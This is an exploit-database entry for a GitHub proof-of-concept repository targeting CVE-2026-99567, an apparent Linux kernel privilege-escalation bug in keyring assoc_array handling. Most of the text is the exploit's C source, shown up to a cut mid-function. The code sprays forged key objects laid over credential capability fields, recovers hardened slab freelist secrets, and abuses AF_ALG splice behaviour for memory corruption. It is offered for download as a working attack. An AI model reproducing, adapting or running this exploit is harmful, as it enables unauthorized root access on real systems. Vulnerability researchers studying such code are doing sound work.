Exploit database

GH-319ef1fa3c170163359b111b352eb219

rat5ak/cve-2026-99567-assoc_array_shortcut-chain-eop

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-99567

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/src/exploit.c

Suggested starting fileC · 133,160 bytes
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <linux/if_alg.h>
#include <linux/futex.h>
#include <linux/keyctl.h>
#include <linux/membarrier.h>
#include <limits.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include "target_hardened.h"
#include "fingerprints_generated.h"
#include "integrated_targets_generated.h"
#include "keyring_kaslr.h"

typedef int32_t key_serial_t;

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define REFCOUNT_SATURATED UINT32_C(0xc0000000)
#define K2_BLOCKER_THREADS 1U
#define K2_PREP_PREFIX_WORKERS 352U
#define K2_PREP_CRITICAL_WORKERS 288U
#define K2_PREP_WORKERS \
    (K2_PREP_PREFIX_WORKERS + K2_PREP_CRITICAL_WORKERS)
#define K2_PREP_LINKED_CARRIERS 56U
#define K2_PREP_CRITICAL_GATES 5U
#define K2_PREP_CRITICAL_GROUP_SIZE 64U
#define K2_PREP_GATES (1U + K2_PREP_CRITICAL_GATES)
#define K2_PREP_PREFIX_GATE 0U
#define K2_PREP_CRITICAL_FIRST_GATE 1U
#define K2_PREP_ARM_BATCH 64U
#define K2_PREP_SERIAL_BASE UINT32_C(0x4b320000)
#define K2_PREP_READERS_PER_GATE 8U
#define K2_PREP_READERS_TOTAL \
    (K2_PREP_GATES * K2_PREP_READERS_PER_GATE)
#define K2_PREP_SPINNERS 1U
#define K2_PREP_GUARDS 32U
#define K2_PREP_MAX_LOSS K2_PREP_WORKERS
#define K2_RELEASE_WATCHDOG_SECONDS 240U

_Static_assert(K2_PREP_PREFIX_WORKERS == 352U,
               "rank-census prefix boundary drift");
_Static_assert(K2_PREP_CRITICAL_WORKERS == 288U,
               "critical window size drift");
_Static_assert(K2_PREP_CRITICAL_WORKERS ==
               4U * K2_PREP_CRITICAL_GROUP_SIZE + 32U,
               "critical subgate geometry drift");
_Static_assert(K2_PREP_GATES == 6U,
               "rank-guided gate topology drift");
_Static_assert(K2_PREP_WORKERS < UINT16_MAX,
               "encoded prep worker serial must fit in low 16 bits");

_Static_assert(H_USER_PAYLOAD_HEADER + H_DIRECT_FAKE_BYTES ==
               H_USER_PAYLOAD_REQUEST, "232-byte payload request drift");
_Static_assert(H_KEY_USER_LOCK - 8 == H_CRED_SECUREBITS,
               "fake user lock no longer maps to cred securebits");
_Static_assert(H_KEY_USER_QNKEYS - 8 == H_CRED_CAP_PERMITTED + 4,
               "fake qnkeys no longer maps to cap_permitted high32");
_Static_assert(H_KEY_USER_QNBYTES - 8 == H_CRED_CAP_EFFECTIVE,
               "fake qnbytes no longer maps to cap_effective low32");

struct freelist_solution {
    uint64_t base;
    uint64_t random;
    int terminal;
    int next[H_USER_PAYLOAD_OBJECTS_PER_SLAB];
};

struct fake_spec {
    uint64_t cred;
    uint64_t type;
    uint64_t domain_tag;
    uint64_t description;
    uint64_t hash;
    uint64_t x;
};

struct pressure_chunk {
    void *address;
    size_t length;
};

struct anonymous_pressure {
    struct pressure_chunk *chunks;
    size_t count;
    size_t capacity;
    uint64_t mapped_bytes;
    uint64_t faulted_pages;
    uint64_t before_kib;
    uint64_t after_kib;
    uint64_t reserve_kib;
    int allocation_errno;
};

static unsigned long long read_cap_eff(void);
static int read_cap_eff_checked(unsigned long long *cap);
static int try_flag(void);
static int pin_current_thread(int cpu);

static void k2_watchdog_handler(int signal_number)
{
    static const char marker[] = "K2_WATCHDOG_TIMEOUT\n";
    ssize_t written;

    (void)signal_number;
    written = write(STDERR_FILENO, marker, sizeof(marker) - 1);
    (void)written;
    _exit(124);
}

static int arm_release_watchdog(void)
{
    struct sigaction action;

    memset(&action, 0, sizeof(action));
    action.sa_handler = k2_watchdog_handler;
    sigemptyset(&action.sa_mask);
    if (sigaction(SIGALRM, &action, NULL) < 0)
        return -errno;
    alarm(K2_RELEASE_WATCHDOG_SECONDS);
    return 0;
}

static uint64_t bswap64_u(uint64_t x)
{
    return __builtin_bswap64(x);
}

static bool is_slab_pointer(uint64_t p)
{
    return p >= H_SLAB_DATA_BASE && p < H_SLAB_END && (p & 7) == 0;
}

static uint64_t encode_freeptr(uint64_t next, uint64_t random, uint64_t address)
{
    return next ^ random ^ bswap64_u(address);
}

static uint64_t decode_freeptr(uint64_t encoded, uint64_t random,
                               uint64_t address)
{
    return encoded ^ random ^ bswap64_u(address);
}

static int validate_chain(const uint64_t enc[H_USER_PAYLOAD_OBJECTS_PER_SLAB],
                          uint64_t base, uint64_t random,
                          struct freelist_solution *out)
{
    int indeg[H_USER_PAYLOAD_OBJECTS_PER_SLAB] = {0};
    int terminal = -1, head = -1, seen = 0, i;
    bool visited[H_USER_PAYLOAD_OBJECTS_PER_SLAB] = {false};

    if ((base & 0xfff) != 0 || !is_slab_pointer(base))
        return -EINVAL;

    for (i = 0; i < H_USER_PAYLOAD_OBJECTS_PER_SLAB; i++) {
        uint64_t object = base + (uint64_t)i * H_USER_PAYLOAD_BUCKET;
        uint64_t address = object + H_USER_PAYLOAD_FREEPTR;
        uint64_t next = decode_freeptr(enc[i], random, address);

        if (!next) {
            if (terminal >= 0)
                return -EINVAL;
            terminal = i;
            out->next[i] = -1;
            continue;
        }
        if (next < base || next >= base + 0x1000 ||
            ((next - base) % H_USER_PAYLOAD_BUCKET) != 0)
            return -EINVAL;
        out->next[i] = (int)((next - base) / H_USER_PAYLOAD_BUCKET);
        if (++indeg[out->next[i]] != 1)
            return -EINVAL;
    }
    if (terminal < 0)
        return -EINVAL;
    for (i = 0; i < H_USER_PAYLOAD_OBJECTS_PER_SLAB; i++)
        if (indeg[i] == 0) {
            if (head >= 0)
                return -EINVAL;
            head = i;
        }
    if (head < 0)
        return -EINVAL;
    for (i = head; i >= 0; i = out->next[i]) {
        if (visited[i])
            return -EINVAL;
        visited[i] = true;
        seen++;
    }
    if (seen != H_USER_PAYLOAD_OBJECTS_PER_SLAB)
        return -EINVAL;
    out->base = base;
    out->random = random;
    out->terminal = terminal;
    return 0;
}

/* Recover B from one terminal edge and one ordinary edge, then validate all. */
static int solve_freelist(const uint64_t enc[H_USER_PAYLOAD_OBJECTS_PER_SLAB],
                          struct freelist_solution *solution)
{
    struct freelist_solution candidate;
    int found = 0, t, i, n;

    for (t = 0; t < H_USER_PAYLOAD_OBJECTS_PER_SLAB; t++) {
        uint64_t ot = (uint64_t)t * H_USER_PAYLOAD_BUCKET +
                      H_USER_PAYLOAD_FREEPTR;
        for (i = 0; i < H_USER_PAYLOAD_OBJECTS_PER_SLAB; i++) {
            uint64_t oi, x, base, random;
            if (i == t)
                continue;
            oi = (uint64_t)i * H_USER_PAYLOAD_BUCKET +
                 H_USER_PAYLOAD_FREEPTR;
            for (n = 0; n < H_USER_PAYLOAD_OBJECTS_PER_SLAB; n++) {
                x = enc[i] ^ enc[t] ^ bswap64_u(oi) ^ bswap64_u(ot);
                if ((x & 0xfff) != (uint64_t)n * H_USER_PAYLOAD_BUCKET)
                    continue;
                base = x & ~UINT64_C(0xfff);
                random = enc[t] ^ bswap64_u(base + ot);
                memset(&candidate, 0, sizeof(candidate));
                if (validate_chain(enc, base, random, &candidate) != 0)
                    continue;
                if (!found) {
                    *solution = candidate;
                    found = 1;
                } else if (solution->base != candidate.base ||
                           solution->random != candidate.random) {
                    return -EEXIST;
                }
            }
        }
    }
    return found ? 0 : -ENOENT;
}

static void make_synthetic_freelist(uint64_t base, uint64_t random,
                                    uint64_t enc[H_USER_PAYLOAD_OBJECTS_PER_SLAB])
{
    static const int order[H_USER_PAYLOAD_OBJECTS_PER_SLAB] =
        {7, 2, 14, 1, 9, 4, 12, 0, 15, 5, 10, 3, 13, 6, 11, 8};
    int next[H_USER_PAYLOAD_OBJECTS_PER_SLAB], i;

    for (i = 0; i < H_USER_PAYLOAD_OBJECTS_PER_SLAB; i++)
        next[i] = -2;
    for (i = 0; i < H_USER_PAYLOAD_OBJECTS_PER_SLAB - 1; i++)
        next[order[i]] = order[i + 1];
    next[order[H_USER_PAYLOAD_OBJECTS_PER_SLAB - 1]] = -1;
    for (i = 0; i < H_USER_PAYLOAD_OBJECTS_PER_SLAB; i++) {
        uint64_t object = base + (uint64_t)i * H_USER_PAYLOAD_BUCKET;
        uint64_t fp = next[i] < 0 ? 0 :
            base + (uint64_t)next[i] * H_USER_PAYLOAD_BUCKET;
        enc[i] = encode_freeptr(fp, random,
                               object + H_USER_PAYLOAD_FREEPTR);
    }
}

static void put_u16(unsigned char *p, uint16_t v) { memcpy(p, &v, sizeof(v)); }
static void put_u32(unsigned char *p, uint32_t v) { memcpy(p, &v, sizeof(v)); }
static void put_u64(unsigned char *p, uint64_t v) { memcpy(p, &v, sizeof(v)); }
static uint16_t get_u16(const unsigned char *p) { uint16_t v; memcpy(&v, p, 2); return v; }
static uint32_t get_u32(const unsigned char *p) { uint32_t v; memcpy(&v, p, 4); return v; }
static uint64_t get_u64(const unsigned char *p) { uint64_t v; memcpy(&v, p, 8); return v; }

static void build_direct_fake(unsigned char out[H_DIRECT_FAKE_BYTES],
                              const struct fake_spec *spec)
{
    memset(out, 0x11, H_DIRECT_FAKE_BYTES);
    put_u32(out + H_KEY_USAGE, 1);
    put_u32(out + 4, 0x41414141);
    put_u64(out + H_KEY_USER, spec->cred - 8);
    put_u64(out + H_KEY_EXPIRY, UINT64_C(0x7fffffffffffffff));
    put_u64(out + H_KEY_LAST_USED, H_FAKE_MARKER_SENTINEL);
    put_u32(out + H_KEY_UID, 0x01010101);
    put_u32(out + H_KEY_GID, 0x01010101);
    put_u32(out + H_KEY_PERM, 0x01010100 | H_KEY_OTH_SEARCH | H_KEY_OTH_LINK);
    put_u16(out + H_KEY_QUOTALEN, 1);
    put_u16(out + 0x6e, 1);
    put_u16(out + H_KEY_STATE, 1);
    put_u64(out + H_KEY_FLAGS,
            (UINT64_C(1) << H_KEY_FLAG_IN_QUOTA) |
            (UINT64_C(1) << H_KEY_FLAG_USER_ALIVE));
    put_u64(out + H_KEY_HASH, spec->hash);
    put_u64(out + H_KEY_X, spec->x);
    put_u64(out + H_KEY_TYPE, spec->type);
    put_u64(out + H_KEY_DOMAIN_TAG, spec->domain_tag);
    put_u64(out + H_KEY_DESCRIPTION, spec->description);
    put_u64(out + H_KEY_KEYS_ROOT, 0);
}

static long add_key_raw(const char *type, const char *desc, const void *payload,
                        size_t plen, key_serial_t ring)
{
    return syscall(SYS_add_key, type, desc, payload, plen, ring);
}

static long keyctl_raw(unsigned long cmd, unsigned long a2, unsigned long a3,
                       unsigned long a4, unsigned long a5)
{
    return syscall(SYS_keyctl, cmd, a2, a3, a4, a5);
}

static int create_carrier(key_serial_t ring, unsigned int id,
                          const unsigned char fake[H_DIRECT_FAKE_BYTES])
{
    static atomic_ullong nonce = 1;
    char desc[64];
    unsigned long long n = atomic_fetch_add_explicit(&nonce, 1,
                                                      memory_order_relaxed);
    long ret;
    snprintf(desc, sizeof(desc), "k2-carrier-%d-%llu-%u", getpid(), n, id);
    ret = add_key_raw("user", desc, fake, H_DIRECT_FAKE_BYTES, ring);
    return ret < 0 ? -errno : (int)ret;
}

static int update_carrier(key_serial_t serial,
                          const unsigned char fake[H_DIRECT_FAKE_BYTES])
{
    long ret = keyctl_raw(KEYCTL_UPDATE, (unsigned long)serial,
                          (unsigned long)fake, H_DIRECT_FAKE_BYTES, 0);
    return ret < 0 ? -errno : 0;
}

static int update_payload(key_serial_t serial, const void *data, size_t len)
{
    long ret = keyctl_raw(KEYCTL_UPDATE, (unsigned long)serial,
                          (unsigned long)data, len, 0);
    return ret < 0 ? -errno : 0;
}

static int create_keyring(const char *role, key_serial_t parent)
{
    static atomic_ullong nonce = 1;
    char desc[64];
    unsigned long long n = atomic_fetch_add_explicit(&nonce, 1,
                                                      memory_order_relaxed);
    long ret;

    snprintf(desc, sizeof(desc), "k2-%s-%d-%llu", role, getpid(), n);
    ret = add_key_raw("keyring", desc, NULL, 0, parent);
    return ret < 0 ? -errno : (int)ret;
}

static int spray_carriers(key_serial_t ring, size_t count,
                          const unsigned char fake[H_DIRECT_FAKE_BYTES],
                          key_serial_t *serials)
{
    size_t i;
    for (i = 0; i < count; i++) {
        int serial = create_carrier(ring, (unsigned int)i, fake);
        if (serial < 0)
            return serial;
        if (serials)
            serials[i] = serial;
    }
    return 0;
}

static int global_rcu_gp(void)
{
    long ret = syscall(SYS_membarrier, MEMBARRIER_CMD_GLOBAL, 0, 0);
    return ret < 0 ? -errno : 0;
}

static int add_filler_key(key_serial_t ring, size_t payload_len,
                          unsigned int id, const char *forbidden_description)
{
    static atomic_ullong nonce = 1;
    unsigned char *payload = NULL;
    char desc[64];
    unsigned long long n = atomic_fetch_add_explicit(&nonce, 1,
                                                      memory_order_relaxed);
    long ret;
    if (payload_len) {
        payload = malloc(payload_len);
        if (!payload)
            return -ENOMEM;
        memset(payload, 0x5c, payload_len);
    }
    snprintf(desc, sizeof(desc), "k2-fill-%d-%llu-%u", getpid(), n, id);
    if (forbidden_description && strcmp(desc, forbidden_description) == 0)
        snprintf(desc, sizeof(desc), "k2-safe-%d-%llu-%u", getpid(), n, id);
    ret = add_key_raw("user", desc, payload, payload_len, ring);
    free(payload);
    return ret < 0 ? -errno : (int)ret;
}

static int prepare_destination_and_quota(key_serial_t destination,
                                         key_serial_t holding,
                                         key_serial_t quota_ring,
                                         const char *forbidden_description,
                                         unsigned int desired_entries,
                                         unsigned int *created,
                                         unsigned int *quota_links)
{
    enum { FILLER_KEYS = 64 };
    key_serial_t fillers[FILLER_KEYS];
    unsigned int total = 0, links = 0;
    size_t size;

    if (desired_entries > FILLER_KEYS)
        return -EINVAL;
    /* Pre-create distinct keys before packing byte quota.  D gets only unique
     * nonmatching descriptions, so B cannot replace a zero-cost existing link. */
    for (unsigned int i = 0; i < FILLER_KEYS; i++) {
        key_serial_t ring = i < desired_entries ? destination : holding;
        int rc = add_filler_key(ring, 1, i, forbidden_description);
        if (rc < 0) {
            return rc;
        }
        fillers[i] = rc;
        total++;
    }

    /* Approach the byte limit with payload sizes whose wrapper does not land
     * in the 256-byte direct-fake bucket.  Stop at four bytes; exact closure
     * is performed only by links of KEYQUOTA_LINK_BYTES below. */
    for (size = 4096; size >= 4; size >>= 1) {
        for (;;) {
            int rc = add_filler_key(holding, size, total,
                                    forbidden_description);
            if (rc >= 0) {
                total++;
                continue;
            }
            if (rc != -EDQUOT)
                return rc;
            break;
        }
    }

    /* Each distinct link grows quota_ring by exactly four bytes.  EDQUOT here
     * is the source-exact oracle that B's fresh D link will also fail, provided
     * D has no exact type+description match (enforced above). */
    for (unsigned int i = 0; i < FILLER_KEYS; i++) {
        long ret;
        errno = 0;
        ret = keyctl_raw(KEYCTL_LINK, (unsigned long)fillers[i],
                         (unsigned long)quota_ring, 0, 0);
        if (ret < 0) {
            if (errno == EDQUOT) {
                *created = desired_entries;
                *quota_links = links;
                return 0;
            }
            return -errno;
        }
        links++;
    }
    return -ENOSPC;
}

static int prepare_destination_only(key_serial_t destination,
                                    const char *forbidden_description,
                                    unsigned int desired_entries,
                                    unsigned int *created)
{
    unsigned int total = 0;

    for (unsigned int i = 0; i < desired_entries; i++) {
        int rc = add_filler_key(destination, 1, i,
                                forbidden_description);
        if (rc < 0)
            return rc;
        total++;
    }
    *created = total;
    return 0;
}

static int read_carrier(key_serial_t serial,
                        unsigned char out[H_DIRECT_FAKE_BYTES])
{
    long ret = keyctl_raw(KEYCTL_READ, (unsigned long)serial,
                          (unsigned long)out, H_DIRECT_FAKE_BYTES, 0);
    if (ret < 0)
        return -errno;
    if (ret < H_DIRECT_FAKE_BYTES)
        return -EMSGSIZE;
    return 0;
}

static int find_marker_owner(const key_serial_t *serials, size_t count,
                             uint64_t sentinel, uint64_t *value)
{
    unsigned char data[H_DIRECT_FAKE_BYTES];
    size_t i;
    for (i = 0; i < count; i++) {
        if (read_carrier(serials[i], data) == 0) {
            uint64_t marker = get_u64(data + H_KEY_LAST_USED);
            if (marker != sentinel) {
                if (value)
                    *value = marker;
                return (int)i;
            }
        }
    }
    return -ENOENT;
}

#define MAX_GAP_ROUNDS 128

struct gap_plan {
    size_t rounds[MAX_GAP_ROUNDS];
    size_t count;
    size_t excess;
    size_t final_len;
    size_t request_len;
    size_t expected_return;
};

struct feed_args {
    int fd;
    const struct gap_plan *plan;
    useconds_t delay;
    int error;
    atomic_int ready;
    atomic_int start;
};

static int plan_add_round(struct gap_plan *plan, size_t round)
{
    if (!round || round % 16 || plan->count == MAX_GAP_ROUNDS)
        return -EINVAL;
    plan->rounds[plan->count++] = round;
    return 0;
}

/*
 * Build one receive whose vulnerable iterator gaps cover every 8-byte target.
 * A small filler gap repairs the modulo-16 phase when necessary.  The final
 * ordinary 16-byte output makes the vulnerable syscall return publish_len,
 * while its iterator has advanced by count * 8 additional bytes.
 */
static int build_target_plan(const size_t *targets, size_t target_count,
                             size_t publish_len, struct gap_plan *plan)
{
    size_t destination = 0, returned = 0, final_output, i;
    int rc;

    memset(plan, 0, sizeof(*plan));
    plan->excess = 8;
    plan->final_len = 8;
    final_output = plan->excess + plan->final_len;
    if (!target_count || publish_len < 32 || publish_len % 16)
        return -EINVAL;

    for (i = 0; i < target_count; i++) {
        size_t delta;
        if (targets[i] < destination || targets[i] + 8 > publish_len ||
            (i && targets[i] <= targets[i - 1]))
            return -EINVAL;
        delta = targets[i] - destination;
        if (delta % 16) {
            /* With an 8-byte gap, one 16-byte filler flips the phase. */
            if (delta < 24 || delta % 16 != 8)
                return -EINVAL;
            rc = plan_add_round(plan, 16);
            if (rc)
                return rc;
            destination += 16 + plan->excess;
            returned += 16;
            delta = targets[i] - destination;
        }
        rc = plan_add_round(plan, delta);
        if (rc)
            return rc;
        destination += delta + plan->excess;
        returned += delta;
        if (destination != targets[i] + plan->excess)
            return -ERANGE;
    }

    if (returned >= publish_len - final_output)
        return -E2BIG;
    rc = plan_add_round(plan, publish_len - final_output - returned);
    if (rc)
        return rc;
    destination += plan->rounds[plan->count - 1] + plan->excess;
    returned += plan->rounds[plan->count - 1];
    plan->request_len = destination + final_output;
    plan->expected_return = returned + final_output;
    return plan->expected_return == publish_len ? 0 : -ERANGE;
}

static int build_single_plan(size_t gap_start, size_t excess,
                             struct gap_plan *plan)
{
    if (!gap_start || gap_start % 16 || !excess || excess >= 16)
        return -EINVAL;
    memset(plan, 0, sizeof(*plan));
    plan->rounds[0] = gap_start;
    plan->count = 1;
    plan->excess = excess;
    plan->final_len = 16 - excess;
    plan->request_len = gap_start + excess + 16;
    plan->expected_return = gap_start + 16;
    return 0;
}

static int plan_has_gap(const struct gap_plan *plan, size_t target)
{
    size_t destination = 0, i;
    for (i = 0; i < plan->count; i++) {
        size_t gap = destination + plan->rounds[i];
        if (target >= gap && target + 8 <= gap + plan->excess)
            return 1;
        destination = gap + plan->excess;
    }
    return 0;
}

static void *feed_rounds(void *argp)
{
    struct feed_args *arg = argp;
    const struct gap_plan *plan = arg->plan;
    unsigned char *data;
    size_t max = plan->final_len, i;

    for (i = 1; i < plan->count; i++)
        if (plan->rounds[i] > max)
            max = plan->rounds[i];
    data = calloc(1, max);
    if (!data) {
        arg->error = -ENOMEM;
        atomic_store_explicit(&arg->ready, 1, memory_order_release);
        shutdown(arg->fd, SHUT_RDWR);
        return NULL;
    }
    atomic_store_explicit(&arg->ready, 1, memory_order_release);
    while (!atomic_load_explicit(&arg->start, memory_order_acquire))
        sched_yield();
    for (i = 1; i < plan->count; i++) {
        ssize_t n;
        usleep(arg->delay);
        n = send(arg->fd, data, plan->rounds[i], MSG_MORE);
        if (n != (ssize_t)plan->rounds[i]) {
            arg->error = errno ? -errno : -EIO;
            shutdown(arg->fd, SHUT_RDWR);
            goto out;
        }
    }
    usleep(arg->delay);
    if (send(arg->fd, data, plan->final_len, 0) !=
        (ssize_t)plan->final_len) {
        arg->error = errno ? -errno : -EIO;
        shutdown(arg->fd, SHUT_RDWR);
    }
out:
    free(data);
    return NULL;
}

/* Public/ineligible rounded-RX support primitive, never the K2-017 root. */
typedef int (*afalg_pre_splice_fn)(void *context);

static int afalg_plan_record_inner(const struct gap_plan *plan,
                                   useconds_t delay,
                                   unsigned char **record, size_t *record_len,
                                   afalg_pre_splice_fn pre_splice,
                                   void *pre_splice_context)
{
    struct sockaddr_alg sa = {.salg_family = AF_ALG};
    unsigned char key[64], iv[16] = {0};
    unsigned char *first = NULL, *out = NULL;
    char control[CMSG_SPACE(sizeof(uint32_t)) +
                 CMSG_SPACE(sizeof(struct af_alg_iv) + 16)];
    struct msghdr msg = {0};
    struct iovec iov;
    struct cmsghdr *cmsg;
    struct af_alg_iv *aiv;
    struct feed_args feed = {0};
    pthread_t th;
    int tfm = -1, op = -1, pfd[2] = {-1, -1}, rc = -1;
    size_t first_len;
    ssize_t n, spliced, got = 0;
    int thread_rc;

    if (!plan || !plan->count || !plan->request_len ||
        plan->request_len > (1U << 20))
        return -EINVAL;
    *record = NULL;
    *record_len = 0;
    first_len = plan->rounds[0] + plan->excess;

    for (size_t i = 0; i < sizeof(key); i++)
        key[i] = (unsigned char)(i + 1);
    memcpy(sa.salg_type, "skcipher", 9);
    memcpy(sa.salg_name, "xts(aes)", 9);
    tfm = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (tfm < 0) { rc = -errno; goto out; }
    if (bind(tfm, (struct sockaddr *)&sa, sizeof(sa)) < 0 ||
        setsockopt(tfm, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) {
        rc = -errno; goto out;
    }
    op = accept(tfm, NULL, NULL);
    if (op < 0) { rc = -errno; goto out; }
    if (pipe(pfd) < 0) { rc = -errno; goto out; }

    first = calloc(1, first_len);
    out = malloc(plan->request_len);
    if (!first || !out) { rc = -ENOMEM; goto out; }
    memset(out, 0xa5, plan->request_len);
    memset(control, 0, sizeof(control));
    iov.iov_base = first; iov.iov_len = first_len;
    msg.msg_iov = &iov; msg.msg_iovlen = 1;
    msg.msg_control = control; msg.msg_controllen = sizeof(control);
    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_OP;
    cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
    *(uint32_t *)CMSG_DATA(cmsg) = ALG_OP_ENCRYPT;
    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_IV;
    cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + sizeof(iv));
    aiv = (struct af_alg_iv *)CMSG_DATA(cmsg);
    aiv->ivlen = sizeof(iv); memcpy(aiv->iv, iv, sizeof(iv));
    n = sendmsg(op, &msg, MSG_MORE);
    if (n != (ssize_t)first_len) { rc = errno ? -errno : -EIO; goto out; }

    feed = (struct feed_args){.fd = op, .plan = plan, .delay = delay};
    thread_rc = pthread_create(&th, NULL, feed_rounds, &feed);
    if (thread_rc != 0) {
        rc = -thread_rc; goto out;
    }
    while (!atomic_load_explicit(&feed.ready, memory_order_acquire))
        sched_yield();
    if (feed.error) {
        pthread_join(th, NULL);
        rc = feed.error;
        goto out;
    }
    if (pre_splice) {
        rc = pre_splice(pre_splice_context);
        if (rc) {
            shutdown(op, SHUT_RDWR);
            atomic_store_explicit(&feed.start, 1, memory_order_release);
            pthread_join(th, NULL);
            goto out;
        }
    }
    atomic_store_explicit(&feed.start, 1, memory_order_release);
    spliced = splice(op, NULL, pfd[1], NULL, plan->request_len, 0);
    pthread_join(th, NULL);
    if (feed.error) { rc = feed.error; goto out; }
    if (spliced <= 0) { rc = spliced < 0 ? -errno : -EIO; goto out; }
    while (got < spliced) {
        n = read(pfd[0], out + got, (size_t)(spliced - got));
        if (n <= 0) { rc = n < 0 ? -errno : -EIO; goto out; }
        got += n;
    }
    *record = out; *record_len = (size_t)spliced; out = NULL; rc = 0;
out:
    free(first); free(out);
    if (pfd[0] >= 0) close(pfd[0]);
    if (pfd[1] >= 0) close(pfd[1]);
    if (op >= 0) close(op);
    if (tfm >= 0) close(tfm);
    return rc;
}

static int afalg_plan_record(const struct gap_plan *plan, useconds_t delay,
                             unsigned char **record, size_t *record_len)
{
    return afalg_plan_record_inner(plan, delay, record, record_len,
                                   NULL, NULL);
}

static int afalg_gap_record(size_t gap_start, size_t excess,
                            useconds_t delay, unsigned char **record,
                            size_t *record_len)
{
    struct gap_plan plan;
    int rc = build_single_plan(gap_start, excess, &plan);
    return rc ? rc : afalg_plan_record(&plan, delay, record, record_len);
}

static int read_page_file(const char *path, unsigned char page[4096])
{
    int fd = open(path, O_RDONLY);
    ssize_t got = 0, n;
    if (fd < 0) return -errno;
    while (got < 4096) {
        n = read(fd, page + got, 4096 - (size_t)got);
        if (n <= 0) { close(fd); return n < 0 ? -errno : -EMSGSIZE; }
        got += n;
    }
    close(fd); return 0;
}

static int read_exact_file(const char *path, void *buffer, size_t length)
{
    unsigned char *p = buffer;
    size_t got = 0;
    int fd = open(path, O_RDONLY);
    if (fd < 0)
        return -errno;
    while (got < length) {
        ssize_t n = read(fd, p + got, length - got);
        if (n <= 0) {
            int rc = n < 0 ? -errno : -EMSGSIZE;
            close(fd);
            return rc;
        }
        got += (size_t)n;
    }
    close(fd);
    return 0;
}

static int write_exact_file(const char *path, const void *buffer, size_t length)
{
    const unsigned char *p = buffer;
    size_t done = 0;
    int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0600);
    if (fd < 0)
        return -errno;
    while (done < length) {
        ssize_t n = write(fd, p + done, length - done);
        if (n <= 0) {
            int rc = n < 0 ? -errno : -EIO;
            close(fd);
            return rc;
        }
        done += (size_t)n;
    }
    if (close(fd) < 0)
        return -errno;
    return 0;
}

static int read_memavailable_kib(uint64_t *value)
{
    FILE *f = fopen("/proc/meminfo", "r");
    char line[256];
    unsigned long long kib;

    if (!f)
        return -errno;
    while (fgets(line, sizeof(line), f)) {
        if (sscanf(line, "MemAvailable: %llu kB", &kib) == 1) {
            fclose(f);
            *value = (uint64_t)kib;
            return 0;
        }
    }
    fclose(f);
    return -ENODATA;
}

static void anonymous_pressure_release(struct anonymous_pressure *pressure)
{
    uint64_t before_release = 0, after_release = 0;

    (void)read_memavailable_kib(&before_release);
    for (size_t i = 0; i < pressure->count; i++)
        (void)munmap(pressure->chunks[i].address,
                     pressure->chunks[i].length);
    free(pressure->chunks);
    pressure->chunks = NULL;
    pressure->count = 0;
    pressure->capacity = 0;
    (void)read_memavailable_kib(&after_release);
    printf("PRESSURE_RELEASE mapped_bytes=%" PRIu64
           " faulted_pages=%" PRIu64
           " memavailable_before_release_kib=%" PRIu64
           " memavailable_after_release_kib=%" PRIu64 "\n",
           pressure->mapped_bytes, pressure->faulted_pages,
           before_release, after_release);
}

static int anonymous_pressure_fill(uint64_t reserve_mib,
                                   struct anonymous_pressure *pressure)
{
    const size_t max_chunk = 64U * 1024U * 1024U;
    long page_size = sysconf(_SC_PAGESIZE);
    uint64_t available_kib;
    int rc;

    memset(pressure, 0, sizeof(*pressure));
    if (!reserve_mib || reserve_mib > UINT64_MAX / 1024 || page_size <= 0)
        return -EINVAL;
    pressure->reserve_kib = reserve_mib * 1024;
    rc = read_memavailable_kib(&pressure->before_kib);
    if (rc)
        return rc;
    available_kib = pressure->before_kib;
    printf("PRESSURE_BEGIN memavailable_kib=%" PRIu64
           " reserve_kib=%" PRIu64 " page_size=%ld\n",
           available_kib, pressure->reserve_kib, page_size);
    fflush(stdout);

    while (available_kib > pressure->reserve_kib) {
        uint64_t excess_bytes =
            (available_kib - pressure->reserve_kib) * UINT64_C(1024);
        size_t length = excess_bytes > max_chunk ? max_chunk :
                        (size_t)excess_bytes;
        struct pressure_chunk *grown;
        volatile unsigned char *mapping;

        length -= length % (size_t)page_size;
        if (!length)
            break;
        if (pressure->count == pressure->capacity) {
            size_t capacity = pressure->capacity ?
                              pressure->capacity * 2 : 32;
            grown = realloc(pressure->chunks,
                            capacity * sizeof(*pressure->chunks));
            if (!grown) {
                pressure->allocation_errno = ENOMEM;
                break;
            }
            pressure->chunks = grown;
            pressure->capacity = capacity;
        }
        mapping = mmap(NULL, length, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (mapping == MAP_FAILED) {
            pressure->allocation_errno = errno;
            break;
        }
#ifdef MADV_NOHUGEPAGE
        (void)madvise((void *)mapping, length, MADV_NOHUGEPAGE);
#endif
        for (size_t off = 0; off < length; off += (size_t)page_size)
            mapping[off] = (unsigned char)(pressure->count + off / page_size);
        pressure->chunks[pressure->count++] =
            (struct pressure_chunk){.address = (void *)mapping,
                                    .length = length};
        pressure->mapped_bytes += length;
        pressure->faulted_pages += length / (size_t)page_size;
        rc = read_memavailable_kib(&available_kib);
        if (rc) {
            pressure->allocation_errno = -rc;
            break;
        }
    }
    pressure->after_kib = available_kib;
    printf("PRESSURE_READY memavailable_before_kib=%" PRIu64
           " memavailable_after_kib=%" PRIu64
           " reserve_kib=%" PRIu64
           " mapped_bytes=%" PRIu64
           " faulted_pages=%" PRIu64
